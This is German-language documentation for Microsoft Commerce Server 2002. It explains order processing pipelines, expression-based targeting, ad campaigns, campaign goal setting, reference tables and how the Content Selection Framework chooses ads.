  • Order Processing Pipeline. Verarbeitet entweder Business-To-Consumer-Bestellungen (Einzelhandelsbestellungen) oder Business-To-Business-Bestellungen (Lieferantenbestellungen). Diese Pipelines stellen sicher, dass eine Bestellung für eine richtige Verarbeitung alle notwendigen Stufen durchläuft. So wird z. B. die Produktbeschreibung aus dem Katalog und dann die Lieferadresse des Benutzers abgerufen, woraus anschließend die Steuern und der Gesamtpreis berechnet werden.

    Commerce Server enthält folgende Order Processing Pipeline-Typen:

    • Produktpipeline. Diese Pipeline berechnet Preis- und Preisnachlassinformationen für Produkte.
    • Planungspipeline. Diese Pipeline überprüft die Vollständigkeit einer Bestellung. Falls eine Bestellung z. B. keine Artikel enthält, führt dies zu einem Fehler.
    • Kaufpipeline. Diese Pipeline nimmt den endgültigen Kauf von einem Bestellformular an und schreibt eine Bestellung in den Datenbankspeicher. Optional kann eine Bestätigung erstellt und der Inhalt der Bestellung in die Bestätigungsdatenbank geschrieben werden.

Siehe auch

Working with Pipelines (englisches Thema)

Building Pipeline Components (englisches Thema)

Pipeline Component Reference (englisches Thema)

Extending the Content Selection Framework (englisches Thema)


Pipelinestruktur

Pipelines werden in Pipelinekonfigurationsdateien definiert. Diese haben die Dateierweiterung PCF. In der PCF-Datei können Sie die einzelnen Pipelinestufen einsehen. Jede dieser Stufen enthält mindestens eine Pipelinekomponente. Siteentwickler können die einzelnen Stufen an die individuellen Anforderungen Ihrer Site anpassen.

Die folgende Abbildung zeigt die Stufen der Einzelhandelskaufpipeline an (Datei Purchase.pcf).

Die Stufen der Einzelhandelskaufpipeline

Die Informationen werden von einer ASP-Seite an die Pipeline unter Verwendung der folgenden zwei Wörterbücher übergeben:

  • Kontextwörterbuch. Ein schreibgeschütztes Wörterbuch, das die Pipeline mit Umgebungsinformationen versorgt. Dies könnte z. B. die Verbindungszeichenfolge für eine Datenbank sein.
  • Bestellungswörterbuch. Ein Wörterbuch mit Lese-/Schreibzugriff, das der Pipeline die zu verarbeitenden Daten liefert. Wenn ein Benutzer z. B. eine Bestellung absendet, werden alle Informationen im Bestellungswörterbuch zusammengestellt und dann an die Order Processing Pipeline übergeben.

Der Inhalt dieser Wörterbücher ist vom jeweiligen Pipelinetyp abhängig. Siteentwickler definieren die Informationen, die im Wörterbuch enthalten sein müssen, auf der ASP-Seite.

Commerce Server-Pipelines können als Transaktionen ausgeführt werden. Dies ermöglicht ein Rollback des Prozesses, falls ein Fehler auftritt. Zusätzlich nutzen Commerce Server-Pipelines das Objektpooling-Feature von Microsoft Windows 2000 Server, was zu einer erheblichen Steigerung der Verarbeitungsgeschwindigkeit führt. Informationen zum Objektpooling finden Sie in der Onlinedokumentation von Windows 2000 Server.

Siehe auch

Working with Pipelines (englisches Thema)

Building Pipeline Components (englisches Thema)

Pipeline Component Reference (englisches Thema)

Extending the Content Selection Framework (englisches Thema)


Erstellen und Bearbeiten von Pipelines

Mithilfe des Pipeline-Editors können Siteentwickler neue Pipelines erstellen und vorhandene Pipelines bearbeiten. Commerce Server enthält sieben vorkonfigurierte Pipelinevorlagen, die bei der Erstellung von benutzerdefinierten Pipelines als Ausgangspunkt verwendet werden können. Diese Vorlagendateien zur Erstellung neuer Pipelines haben die Dateierweiterung .PCT (Pipeline Configuration Template oder Pipelinekonfigurationsvorlage). In den Vorlagen können die Namen der Pipelinestufen geändert und einzelne Stufen hinzugefügt oder gelöscht werden. Außerdem lassen sich auch Komponenten zu beliebigen Stufen hinzufügen bzw. daraus löschen.

Siehe auch

Working with Pipelines (englisches Thema)

Building Pipeline Components (englisches Thema)

Pipeline Component Reference (englisches Thema)

Extending the Content Selection Framework (englisches Thema)


Konzepte für Zielgruppenadressierung und Personalisierung

Bei der Zielgruppenadressierung und Personalisierung werden personalisierte Inhalte an einen oder mehrere Benutzer bzw. eine andere Geschäftseinheit mit einem Profil übertragen. Wenn Sie beispielsweise eine Sportwebsite betreiben, möchten Sie Informationen über Tennis nur an Tennisspieler bzw. Benutzer, die sich für Tennis interessieren, übermitteln. Diesen Benutzern könnten Sie dann Ankündigungen über bevorstehende Tennisturniere sowie Anzeigen und Promotions für Tennisprodukte bereitstellen.

Mit Commerce Server 2002 Standard Edition können Sie eine ausdrucksbasierte Zielgruppenadressierung, auch explizite Zielgruppenadressierung genannt, ausführen. Diese Form der Zielgruppenadressierung wird eingesetzt, wenn Ihnen die Profileigenschaften der Benutzer bekannt sind, denen Sie Inhalte liefern, bzw. wenn Sie den Kontext und die zu liefernden Inhalte kennen. Mithilfe der Kampagnenmodule in Commerce Server Business Desk können diese Informationen definiert und Inhalte an den Benutzer übertragen werden.

Die ausdrucksbasierte Zielgruppenadressierung erleichtert Ihnen die Übertragung von Inhalten, die für die Empfänger von Interesse sein könnten. Benutzer kehren eher zu Ihrer Site zurück, wenn sie eine personalisierte Umgebung erwartet.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden von Zielgruppenadressierungsmethoden bei der Websiteverwaltung
  • Ausdrucksbasierte Zielgruppenadressierung
  • Verarbeiten von Ausdrücken


Verwenden von Zielgruppenadressierungsmethoden bei der Websiteverwaltung

Inhalte lassen sich zielgerichtet an jedes geschäftsbezogene Element mit einem Profil liefern. So können Sie z. B. die Zielgruppenadressierung von Inhalten an anonyme und registrierte Benutzer, Firmen oder Kontexte einsetzen. Begriffsbestimmungen zu Profilen finden Sie unter Profilkonzepte.

Mit Business Desk liefern Sie Inhalte zielgerichtet an geschäftsbezogene Elemente. Sie können die folgenden Aktionen durchführen:

  • Erstellen Sie eine Direktsendungskampagne, die personalisierte Nachrichten an Benutzer übermittelt.
  • Liefern Sie Inhalte (z. B. Anzeigen) an Benutzer basierend auf bestimmten Benutzerprofileigenschaften. So können Sie z. B. Benutzern, die als Lieblingssport "Fahrrad fahren" angegeben haben, Anzeigen für Mountainbikes anzeigen.
  • Identifizieren Sie Gruppen von Webseiten, und erstellen Sie dann zielgerichtet Inhalte, die nur auf diesen Seiten angezeigt werden bzw. nur, wenn Benutzer mit bestimmten Eigenschaften auf diese Seiten zugreifen.
  • Zeigen Sie Inhalte auf einer Seite an, die auf den Eigenschaften von anderen Inhalten der Seite basieren. Beispiel: Wenn Ihre Website Nachrichten anbietet, können Sie den Inhalten Profile zuweisen, die bestimmen, ob die Eigenschaft "Wetter_Typ" den Wert "Heiß" oder "Kalt" hat. Wenn "Wetter_Typ = Heiß", können Sie Anzeigen für Klimaanlagen anzeigen.
  • Wenden Sie Preisnachlässe auf bestimmte Produkte in Ihrem Katalog an, basierend auf den Produkteigenschaften oder auf dem Benutzerprofil.
  • Bestimmen Sie, wann ein Preisnachlass angezeigt und wann er auf eine Bestellung angewendet werden soll. Sie können den Preisnachlass z. B. anwenden, wenn Benutzer einen Artikel in den Warenkorb legen oder wenn sie die Bestellung abschließen.

Siehe auch

Ausdrucksbasierte Zielgruppenadressierung

Verarbeiten von Ausdrücken

Ausdrucks-Generator


Ausdrucksbasierte Zielgruppenadressierung

Bei der ausdrucksbasierten Zielgruppenadressierung werden Ausdrücke erstellt. Diese Ausdrücke definieren die Benutzer oder Kontexte, an die Sie sich zielgerichtet wenden möchten, und die Inhalte, die Sie liefern möchten. Ein Ausdruck ist eine Bedingung, die unter Verwendung von Profilen ausgewertet wird. Dadurch wird bestimmt, ob Inhalt geliefert oder eine andere Aktion ausgeführt werden soll. Ein Beispiel eines solchen Ausdrucks ist Benutzer.Gesamtbesuche > 100. Wenn dieser Ausdruck als "Wahr" ausgewertet wird, werden dem Benutzer bestimmte Inhalte angezeigt.

Mithilfe der Kampagnenmodule in Business Desk können Sie Ausdrücke erstellen und diese mit einer Aktion verknüpfen, die nach der Bewertung des Ausdrucks ausgeführt wird. Es stehen zwei Arten von Ausdrücken zur Verfügung.

  • Zielausdrücke. Diese Ausdrücke identifizieren, wo, wann und wem Inhalte angezeigt werden sollen. Sie können beispielsweise den Inhalt auf Benutzer ausrichten, die spezielle Profileigenschaften besitzen. Außerdem lassen sich Inhalte zielgerichtet in bestimmten Bereichen einer Website (so genannten Seitengruppen) anzeigen. So können Sie beispielsweise einen Zielausdruck erstellen, durch den bestimmte Anzeigen nur auf Sportseiten angezeigt werden.
  • Katalogausdrücke. Diese Ausdrücke definieren die Katalogprodukte, auf die ein Preisnachlass angewendet werden kann. Ein Beispiel eines Katalogausdrucks ist Produkt.Preis = 20,00. Wenn dieser Ausdruck für ein bestimmtes Produkt mit "Wahr" ausgewertet wird, wird beim Hinzufügen des Produkts in den Warenkorb ein Preisnachlass in Höhe von 10 % gewährt.

Nachdem Sie mehrere Zielausdrücke erstellt haben, können Sie diese in Form einer Zielgruppe kombinieren. Eine Zielgruppe ist eine Sammlung von Ausdrücken und Aktionen. So können Sie z. B. einen Ausdruck erstellen, mit dem bestimmte Inhalte bei Benutzern angezeigt werden, die die Site schon zehnmal besucht haben. Mit einem anderen Ausdruck zeigen Sie Benutzern, die ein Fußballtrikot gekauft haben, bestimmte andere Inhalte an. Diese beiden Ausdrücke können mit den Anweisungen AND oder OR in einer Zielgruppe kombiniert werden. Zum Beispiel:

Wenn ein Benutzer die Site 10 Mal besucht UND ein Fußballtrikot gekauft hat,
wird eine Anzeige für ein Fußballprodukt eingeblendet.

Ausdrücke werden in einer Zielgruppe durch Angabe der Aktion kombiniert, die ausgeführt werden soll, wenn der Ausdruck als "Wahr" ausgewertet wird. Jede Aktion verfügt über zwei Multiplikatoren: Einer wird angewendet, wenn der Ausdruck wahr ist; der andere, wenn der Ausdruck falsch ist. Wenn der Multiplikator angewendet wird, erhält der Ausdruck ein Ergebnis. Dieses bestimmt, ob die Inhalte geliefert werden können. Sie können folgende Aktionen definieren:

  • Ziel. Wenn der Ausdruck zu "Wahr" ausgewertet wird, wird der Ergebniswert erhöht. Dadurch erhöht sich auch die Wahrscheinlichkeit dafür, dass die Inhalte angezeigt werden. Falls der Ausdruck zu "Falsch" ausgewertet wird, ändert sich der Ergebniswert nicht. In beiden Fällen können die Inhalte geliefert werden.
  • Erforderlich. Bei Auswertung des Ausdrucks zu "Wahr" können die Inhalte geliefert werden. Wird der Ausdruck zu "Falsch" ausgewertet, können die Inhalte nicht geliefert werden.
  • Ausschließen. Bei Auswertung des Ausdrucks zu "Wahr" können die Inhalte nicht geliefert werden. Wird der Ausdruck dagegen zu "Falsch" ausgewertet, können die Inhalte geliefert werden.
  • Sponsor. Bei Auswertung des Ausdrucks zu "Wahr" können die Inhalte geliefert werden. Weitere Inhalte können nur geliefert werden, wenn es für diese einen Ausdruck mit einer Aktion = Sponsor gibt. (Sponsor besitzt nur einen Multiplikator.) Beispiel: Wenn Microsoft als Sponsor einer Anzeige auf einer Homepage auftritt, werden nur Microsoft-Anzeigen angezeigt. Wenn die Homepage jedoch weitere Sponsoren hat, können auch die Anzeigen dieser Firmen angezeigt werden.

Siteentwickler können die Werte der Multiplikatoren von Commerce Server verändern. Dies kann z. B. nützlich sein, wenn bestimmte Ausdrücke mit einem Aktionstyp eine höhere Priorität als Ausdrücke mit einem anderen Aktionstyp erhalten sollen.

Siehe auch

Verwenden von Zielgruppenadressierungsmethoden bei der Websiteverwaltung

Verarbeiten von Ausdrücken

Ausdrucks-Generator


Verarbeiten von Ausdrücken

Commerce Server führt verschiedene Schritte aus, um festzulegen, welche Inhalte einem Benutzer angezeigt werden. Folgende Komponenten werden während dieses Vorgangs verwendet:

  • ExpressionEval. Dieses Component Object Model (COM)-Objekt nimmt einen Ausdruck und Benutzerdaten als Eingabe und verarbeitet dann den Ausdruck. Die Auswertung ergibt, ob der Ausdruck "Wahr" oder "Falsch" ist.
  • Content Selection Framework (CSF). Dieses Framework auf Plattformebene enthält eine Reihe von Komponenten und Pipelines (die Inhaltsauswahlpipeline und die Ereignisverarbeitungspipeline), die die als Ergebnis des Ausdrucks auszuführende Aktion bestimmen.

Die folgende Abbildung zeigt, wie Ziel- und Katalogausdrücke, Benutzer- und Kontextdaten in den Ausdrucks-Generator eingegeben werden und zu welchen Auswertungsergebnissen dies führt (Wahr, Falsch oder undefiniert). Das Ergebnis wird in CSF eingegeben, wo die auszuführende Aktion bestimmt wird.

Verarbeitung von Ausdrücken durch die Ausdrucksbewertung und CSF

Siehe auch

Extending the Content Selection Framework (englisches Thema)

Kampagnenkonzepte

Business Desk-Kampagnen

Ausdrucks-Generator


Kampagnenkonzepte

Eine Kampagne ist ein Marketinginstrument, das mehrere Kommunikationswege einsetzt, um ein bestimmtes Ergebnis zu erreichen – die Erhöhung von Marktanteilen, die Einführung neuer Produkte oder die Kundenbindung. Commerce Server stellt verschiedene Verfahren zur Übermittlung von Onlinekampagnen zur Verfügung. So können Sie z. B. Anzeigen-, Preisnachlass- und Direktsendungskampagnen erstellen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden von Kampagnen bei der Websiteverwaltung
  • Kampagnenstruktur
  • Kampagnenzielfestlegung
  • Referenztabellen für Kampagnen


Verwenden von Kampagnen bei der Websiteverwaltung

Die Kampagnenmodule sind so konzipiert, dass Sie problemlos mit Kundendaten arbeiten können und so die Wirksamkeit von Anzeigen, Preisnachlässen und Direktsendungen optimieren. Kampagnen bieten folgende Möglichkeiten:

  • Sie können Anzeigen oder Preisnachlässe auf Benutzer mit einem bestimmten Profil abstimmen. Mithilfe des Moduls "Profildefinitions-Designer" können Sie ein Benutzerprofil einrichten und dann in die Kampagne integrieren. Bei jeder einzelnen Anzeigenseite können Sie entsprechend dem Benutzerprofil festlegen, ob dem jeweiligen Benutzer auf dieser Seite zielgerichtete Inhalte angezeigt werden sollen oder nicht.
  • Sie können Kampagnen für Kunden durchführen, die in derselben Branche miteinander konkurrieren. Die konkurrierenden Anzeigen werden nie auf derselben Seite angezeigt.
  • Sie können die Anzeigenpreise nach der Anzahl der Anzeigenanforderungen berechnen, die Ihre Kunden erhalten möchten. Das Content Selection Framework berücksichtigt diesen Faktor beim Ranking der Inhalte.

Die folgende Abbildung zeigt die von der Kampagnenfunktion des Zielgruppenadressierungssystems verwendeten Komponenten.

Komponenten der Kampagnenfunktion des Zielgruppenadressierungssystems


Kampagnenstruktur

Kampagnen und die dazugehörigen Kampagnenartikel sind nach Kunde gruppiert. Kundeninformationen, wie die Rechnungsadresse, werden für alle Kampagnen des Kunden und zu Berichtszwecken verwendet. Im Kampagnen-Manager können Sie alle Kunden in alphabetischer Reihenfolge anzeigen.

Kampagnen stellen eine Gruppierungsform für Kampagnenartikel dar. Es gibt drei Arten von Kampagnenartikeln: Anzeigen, Preisnachlässe und Direktsendungskampagnen. Jede dieser Kampagnen kann mehrere Kampagnenartikel enthalten. Eine Werbekampagne für ein neues Produkt könnte beispielsweise drei Kampagnenartikel enthalten: ein Werbebanner auf der Homepage, eine personalisierte Direktsendungsnachricht mit einer Ankündigung des neuen Produkts sowie einen Preisnachlasskampagnenartikel, über den Benutzern, die das Produkt im Monat Juni kaufen, ein Preisnachlass in Höhe von 10 % eingeräumt wird.

Alle Kampagnenartikel innerhalb einer Kampagne haben einen gemeinsamen Kunden- und Datumsbereich. Beispiel: Ein Werbungstreibender in der Reiserubrik einer Onlinezeitung verlangt innerhalb einer Woche 10.000 Anforderungen von Benutzern aus dem Nordwesten der USA. Der Werbungstreibende wird vielleicht zunächst drei verschiedene Anzeigen schalten, bis die 10.000 Anforderungen erreicht sind. Anschließend kann die Anzeige mit der höchsten Klickrate ausgewählt werden. Jede der Anzeigen stellt dabei einen Kampagnenartikel dar.

Siehe auch

Verwenden von Kampagnen bei der Websiteverwaltung

Kampagnenzielfestlegung

Referenztabellen für Kampagnen


Kampagnenzielfestlegung

Bei der Kampagnenzielfestlegung wird die Anzahl der in einem bestimmten Zeitraum zu liefernden Anzeigen (das Ziel) festgelegt. Sie haben die Möglichkeit, das Ziel nach Anzeigenklicks oder -anforderungen festzulegen. Kampagnenziele lassen sich auf Kampagnen- oder auf Anzeigenebene festlegen.

  • Bei der Zielfestlegung auf Kampagnenebene werden die Ziele auf alle Kampagnenartikel (Anzeigen) der Kampagne angewendet. Dies geschieht durch eine gewichtete Verteilung der Gesamtzahl von Anforderungen.

    Angenommen, Sie legen für einen Kunden die Ziele auf Kampagnenebene fest. Der Kunde gibt zwei Anzeigen bei Ihnen auf und möchte 25.000 Anzeigenanforderungen erhalten. Auf Kampagnenebene wird nun festgelegt, dass eine Anzeige bei 60 % der Anzeigenanforderungen angezeigt wird und die andere Anzeige bei 40 %. Falls der Kunde nun die Anzahl der Anzeigenanforderungen ändert (z. B. auf 40.000), müssen Sie die Anforderungszahlen für die beiden Anzeigen nicht manuell ändern. Die Anzeigen werden weiterhin in 60 % bzw. 40 % der Fälle angezeigt.

  • Bei der Zielfestlegung auf Anzeigenebene werden die Ziele auf der Kampagnenartikelebene angewendet. Die Gesamtzahl der Anforderungen für die Kampagne entspricht dabei der Gesamtzahl der bestellten Anforderungen für die einzelnen Kampagnenartikel. Ein Kunde gibt z. B. 50.000 Anforderungen in Auftrag, die in einem Monat zu liefern sind. Der Anzeigenartikel soll also 50.000 Mal geliefert werden.

Sie können zwischen der Zielfestlegung auf Kampagnen- und auf Anzeigenebene wechseln. Bei der Zielfestlegung auf Kampagnenebene können Sie festlegen, wie die Gewichtungen der Anzeigen berechnet werden. Beispielsweise können Sie im Kampagnen-Manager auf Kampagnenebene ein Ziel festlegen und jedem Kampagnenartikel eine Gewichtung von 1 zuweisen. Später können Sie dann die Zielfestlegung auf Werbeartikelebene ändern und für einen Ihrer Kampagnenartikel zusätzliche Anzeigenanforderungen bestellen. Die bestellte Gesamtmenge für die Kampagne umfasst dann zusätzliche Anzeigenanforderungen.

Wenn Sie eine weitere Anzeige zu einer Kampagne hinzufügen, deren Zielfestlegung von der Anzeigen- auf die Kampagnenebene verlegt wurde, muss die Gewichtung der anderen Anzeigen angepasst werden, da andernfalls die Anzeigenlieferung nicht mehr stimmt. Weitere Informationen über das Verlegen der Zielfestlegung von der Kampagnen- auf die Anzeigenebene finden Sie unter Wechseln zwischen Kampagnenzielfestlegung und Werbeartikelfestlegung.

Siehe auch

Verwenden von Kampagnen bei der Websiteverwaltung

Kampagnenstruktur

Referenztabellen für Kampagnen


Referenztabellen für Kampagnen

Mithilfe des Referenztabellenmoduls von Business Desk legen Sie die Größe der in der Site angezeigten Inhalte fest, verwalten Seitengruppennamen und richten Branchencodes ein. Anhand dieser Codes können Sie verhindern, dass zwei Anzeigen derselben Branche gleichzeitig auf derselben Seite angezeigt werden. Die Eigenschaften im Referenztabellenmodul stellen die Konsistenz der Anzeigeninhalte in der gesamten Site sicher.

  • Inhaltsgrößen geben die Größe der Inhalte (Anzeigen und Preisnachlässe) an. Commerce Server 2002 bietet eine Reihe standardmäßiger Inhaltsgrößen. Diese Inhaltsgrößen stammen aus einer Liste häufig verwendeter Größen, die vom Internet Advertising Bureau (IAB) genehmigt wurden. Sie werden im Referenztabellenmodul im Bereich Inhaltsgröße überprüft.

    Die in den Referenztabellen enthaltenen Inhaltsgrößen stehen zur Verfügung, wenn Sie die gewünschte Größe für die Inhalte des Kampagnenartikels auswählen. Die vordefinierten Inhaltsgrößen lassen sich anzeigen, bearbeiten und löschen. Sie können aber auch eine neue Inhaltsgröße speziell für Ihre Bedürfnisse erstellen.

  • Branchencodes sind Codes für verschiedene Branchen, beispielsweise für die Automobil-, Luftfahrt- oder Getränkeindustrie. Mithilfe von Branchencodes identifizieren Sie die Branche, aus der eine Anzeige stammt. So können Sie verhindern, dass zwei Anzeigen von Konkurrenzunternehmen auf derselben Seite erscheinen. Branchencodes gelten nicht für Preisnachlässe.

    Sie können die Branchencodes aktualisieren – beispielsweise, um mit mehreren Getränkecodes (z. B. einem für Kaffee und einem für Milch) zu arbeiten. Dadurch können Anzeigen für verschiedene Getränketypen auf derselben Seite erscheinen. Eine Anzeige für Kaffee stellt ja kein Konkurrenzangebot für eine Anzeige für Milch dar. Über die Anzahl der Tabelleneinträge können Sie die Überwachung von Branchenkonflikten begrenzen.

    Commerce Server liefert eine Reihe gebräuchlicher Branchencodes, die Sie sofort verwenden können. Die in Anzeigen verwendeten Branchencodes werden im Referenztabellenmodul im Bereich Branchencodes überprüft. Die in den Referenztabellen enthaltenen Branchencodes stehen zur Verfügung, wenn Sie den Branchencode eines Kampagnenartikels auswählen. Im Referenztabellenmodul im Bereich Branchencode können Sie eine Liste aller aktuellen Branchencodes anzeigen, neue Branchencodes hinzufügen sowie bestehende Branchencodes bearbeiten bzw. löschen.

  • Seitengruppen sind Gruppen verwandter Webseiten, die durch einen bestimmten Seitengruppennamen gekennzeichnet sind und zur Zielgruppenadressierung von Anzeigen verwendet werden. Wenn Sie beispielsweise eine Zeitungssite betreiben, könnten Sie eine Seitengruppe für Sportthemen, eine weitere für den Leitartikel und eine dritte für Lokalnachrichten erstellen. Somit haben Sie die Möglichkeit, Anzeigen zielgerichtet nur auf Seiten bestimmter Seitengruppen anzuzeigen.

    Die Anzeigentarife für Ihre Kunden lassen sich auf Grundlage der Seitengruppe festlegen. So könnten Sie z. B. für Anzeigen, die auf Ihrer Homepage angezeigt werden, mehr als für Anzeigen auf anderen Seiten berechnen.

    Hinweis
    • Bevor eine Seitengruppe verwendet werden kann, müssen Sie die entsprechenden Seiten anzeigenfähig machen. Eine Anleitung dazu finden Sie im Commerce Server Software Development Kit.

Siehe auch

Verwenden von Kampagnen bei der Websiteverwaltung

Kampagnenstruktur

Kampagnenzielfestlegung


Anzeigenkonzepte

Commerce Server unterstützt zwei Arten von Anzeigen: bezahlte Anzeigen und Eigenwerbung.

  • Bezahlte Anzeigen sind Inhalte, die Commerce Server basierend auf einer bestimmten Lieferformel liefern muss. Diese wird als Bereitstellungsbedarf bezeichnet.
  • Eigenwerbung sind Inhalte, die dann geliefert werden, wenn bezahlte Anzeigen den festgelegten Bereitstellungsbedarfzeitplan vorzeitig erfüllt haben. Beispiel: Ein Kunde bestellt 1.000 bezahlte Anzeigen, die über einen Zeitraum von vier Monaten geliefert werden sollen. In den ersten beiden Monaten allein wird die Anzeige jedoch bereits 850 Mal geliefert. Zum Ausgleich des Bereitstellungsbedarfsplans würde Eigenwerbung angezeigt.

    Eigenwerbung spielt eine große Rolle bei der reibungslosen Lieferung von bezahlten Anzeigen. Eigenwerbung wird auch dann angezeigt, wenn einer Anforderung keine bezahlten Anzeigen entsprechen. Eigenwerbung wird beispielsweise geliefert, falls alle bezahlten Anzeigen einem erforderlichen Ziel nicht entsprechen.

    Eigenwerbung kann auch dazu eingesetzt werden, Restbestände zu reduzierten Preisen zu verkaufen. Außerdem ist Eigenwerbung nützlich, wenn die Anzeigen in Ihrer Site keine speziellen Lieferziele haben, Sie die Anzeigen aber mit bestimmten Gewichtungen schalten möchten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bestandteile einer Anzeige
  • Zielgruppenadressierung von Anzeigen: Gewichtung und Zielgruppe
  • Anzeigenverarbeitung: Content Selection Framework


Bestandteile einer Anzeige

In Commerce Server bestehen Anzeigen aus vier Teilen:

  • Anzeigeneigenschaften beinhalten den Namen der Anzeige, den Typ (bezahlte Anzeige oder Eigenwerbung), die Gewichtung oder die Anzahl von Anforderungen bzw. Klicks, die geliefert werden sollen (bezahlte Anzeigen gegenüber Eigenwerbung), das Anzeigenlimit sowie den Branchencode der Anzeige.
  • Der Anzeigenzeitplan bestimmt das Anfangs-/Enddatum sowie die Anfangs-/Endzeit. Dabei können Sie die Wochentage sowie die Tageszeiten auswählen, an denen eine Anzeige angezeigt wird.
  • Das Anzeigenziel grenzt ein, auf welchen Seiten und für welche Zielgruppen Preisnachlässe angezeigt werden.
  • Die Anzeigendarstellung bestimmt die Größe der Anzeige, ihren Typ (z. B. Bild, Text oder HTML) und ggf. das Bild und/oder den URL, auf das/den Benutzer klicken können, um zu einer anderen Seite (oder Website) zu gelangen. Anzeigen lassen sich als Bilder, Text, HTML, nicht anzuklickende Bilder, "Jetzt kaufen"-Anzeigen, Windows Media Services oder Vignetten anzeigen. (Eine Vignettenanzeige besteht aus einem Bild und Text, der daneben angezeigt wird.)

Siehe auch

Zielgruppenadressierung von Anzeigen: Gewichtung und Zielgruppe

Anzeigenverarbeitung: Content Selection Framework


Zielgruppenadressierung von Anzeigen: Gewichtung und Zielgruppe

Mit Commerce Server können Sie festlegen, wann, wo und wem eine Anzeige angezeigt wird. Bei der Erstellung einer Anzeige legen Sie Folgendes fest:

  • Anzeigelimit. Gibt an, wie oft eine Anzeige einem Benutzer innerhalb einer Sitzung gezeigt werden kann. Wenn in Ihrer Site Benutzerprofile zum Speichern von Kampagnenverläufen verwendet werden, wird das Anzeigelimit dadurch bestimmt, wie oft die Anzeige einem Benutzer innerhalb einer Sitzung angezeigt werden kann.
  • Gewichtung. Über die Gewichtung wird festgelegt, wie oft eine Anzeige im Verhältnis zu allen Kampagnenartikeln eines bestimmten Kunden angezeigt wird. Bei einer Kampagne findet die Gewichtung nur im Falle von Anzeigen Anwendung, für die die Zielfestlegung auf Kampagnenebene erfolgt. Wenn die Zielfestlegung von Anzeigen auf Anzeigenartikelebene stattfindet, wird für bezahlte Anzeigen die Gewichtung nicht verwendet.

    Bei Eigenwerbung steht die Gewichtung im Verhältnis zu der übrigen Eigenwerbung für alle Kunden und Kampagnen. Bei bezahlten Anzeigen ist die Gewichtung relativ zu anderen bezahlten Anzeigen der gleichen Kampagne. Die Gewichtung eines einzelnen Kampagnenartikels hängt von der Gewichtung aller übrigen Kampagnenartikel ab.

    Angenommen, Sie schalten vier Anzeigen für Farben und weisen die Gewichtung wie folgt zu:

    Anzeige | Gewichtung | Lieferanteil in Prozent
    Blaue Farbe | 1 | 10
    Grüne Farbe | 2 | 20
    Rote Farbe | 3 | 30
    Gelbe Farbe | 4 | 40
    Gesamtgewichtung | 10 | 100

    Die Gesamtgewichtung aller Anzeigen beträgt 10 (1+2+3+4 = 10). Die Anzeige für blaue Farbe hat eine Gewichtung von 1, sodass sie bei jeder zehnten Anforderung angezeigt wird.

    Bei bezahlten Anzeigen ist die Gewichtung das Verhältnis einer einzelnen Anzeige zur Summe aller Kampagnenartikel der betreffenden Kampagne. Bei Eigenwerbung ist die Gewichtung die Summe der Gewichtungen der übrigen Eigenwerbung in der Kampagne.

    Bei Anzeigen, deren Zielfestlegung auf der Kampagnenartikelebene stattfindet, hat die Gewichtung keinen Einfluss auf die Lieferung der Anzeige. Bei diesen Anzeigen legen Sie stattdessen direkt die Anzahl der Anforderungen bzw. Klicks fest, die geliefert werden sollen.

  • Seitengruppen. Eine Seitengruppe ist eine Gruppe verwandter Webseiten, die durch einen bestimmten Seitengruppennamen gekennzeichnet ist und zur Zielgruppenadressierung von Anzeigen verwendet wird. Wenn Sie beispielsweise eine Zeitungssite betreiben, könnten Sie eine Seitengruppe für Sportthemen, eine weitere für den Leitartikel und eine dritte für Lokalnachrichten erstellen. Somit haben Sie die Möglichkeit, Anzeigen zielgerichtet nur auf Seiten bestimmter Seitengruppen anzuzeigen.

    Seitengruppen werden mithilfe des Referenztabellenmoduls erstellt.

  • Zielgruppen. Eine Gruppe von Zielen, für die bestimmte Inhalte angezeigt werden. Sie können z. B. Anzeigen zielgerichtet bei Benutzern mit bestimmten Profileigenschaften anzeigen.

Siehe auch

Bestandteile einer Anzeige

Anzeigenverarbeitung: Content Selection Framework


Anzeigenverarbeitung: Content Selection Framework

Das Content Selection Framework (CSF) verarbeitet die Variablen, die Sie für eine Anzeige angeben: Kampagnenzielfestlegung, Anzeigelimit, Zeitplan, Gewichtung, Seitengruppen und Zielgruppen. Das CSF bestimmt bei jedem Besucher Ihrer Site, ob die Anzeige angezeigt werden soll oder nicht.

Das Content Selection Framework für Werbung setzt eine Formel namens Bereitstellungsbedarf ein, um Anzeigen einen Ausgangswert basierend auf ihrem Zeitplanstatus zu geben. Diese Formel berücksichtigt die Gesamtmenge der zu liefernden Inhalte sowie den Zeitraum, in dem diese Menge geliefert werden muss. Der Bereitstellungsbedarf wird durch das Content Selection Framework für jede Anzeigenanforderung nach deren Verarbeitung berechnet. Der Bereitstellungsbedarf gilt nur für bezahlte Anzeigen, nicht für Eigenwerbung.

Wenden Sie sich an Ihren Siteentwickler, wenn Sie wissen möchten, auf welcher Basis Ihre Anzeigen angezeigt werden. Commerce Server enthält das Tool TraceScores, mit dem Siteentwickler den Auswahlprozess nachverfolgen können. Mithilfe von TraceScores lässt sich genau nachvollziehen, wie der interne Content Selection-Prozess funktioniert.

Wenn Sie mehrere Kampagnen mit derselben Zielgruppe und Priorität gleichzeitig durchführen möchten, wählt das Content Selection Framework basierend auf dem Anzeigentyp die Anzeige aus, die angezeigt wird. Bei zwei Eigenwerbungsanzeigen wird eine davon nach dem Zufallsprinzip ausgewählt, wobei die Gewichtungen als relative Wahrscheinlichkeiten verwendet werden. Wenn es sich um bezahlte Anzeigen handelt, erfolgt die Auswahl aufgrund des errechneten Bereitstellungsbedarfs. (Diese Berechnung berücksichtigt Anfangsdatum, Beendigungsdatum, Anzahl der geplanten Ereignisse und die bisher gelieferten Ereignisse.) Der Wert kann u. a. durch den Verlaufsabzug geändert werden. Dieser nimmt bei Anzeigen, die erst kürzlich von einem Benutzer betrachtet wurden, einen Abzug vor. Wenn der Verlaufsabzug aktiviert ist, werden Anzeigen im Rotationsverfahren dargestellt.

Siehe auch

Bestandteile einer Anzeige

Zielgruppenadressierung von Anzeigen: Gewichtung und Zielgruppe


Preisnachlasskonzepte

